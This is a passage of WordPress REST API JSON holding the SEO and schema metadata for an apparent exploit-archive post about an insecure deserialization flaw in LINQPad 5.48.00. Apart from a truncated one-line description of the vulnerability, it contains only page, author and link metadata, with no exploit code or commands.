redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32694","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-24T16:34:52&#8243;,&#8221;description&#8221;:&#8221;LINQPad versions up to 5.48.00 contain an insecure deserialization vulnerability in the paid version of the software that allows attackers to achieve persistent remote code...","og_url":"https:\/\/zero.redgem.net\/?p=32694","og_site_name":"zero redgem","article_published_time":"2025-12-24T11:45:20+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32694#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32694"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292","datePublished":"2025-12-24T11:45:20+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32694"},"wordCount":2440,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32694#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32694","url":"https:\/\/zero.redgem.net\/?p=32694","name":"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-24T11:45:20+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32694#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32694"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32694#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 LINQPad 5.48.00 Insecure Deserialization_PACKETSTORM:213292"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32694","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32694"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32694\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32694"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32694"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32694"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}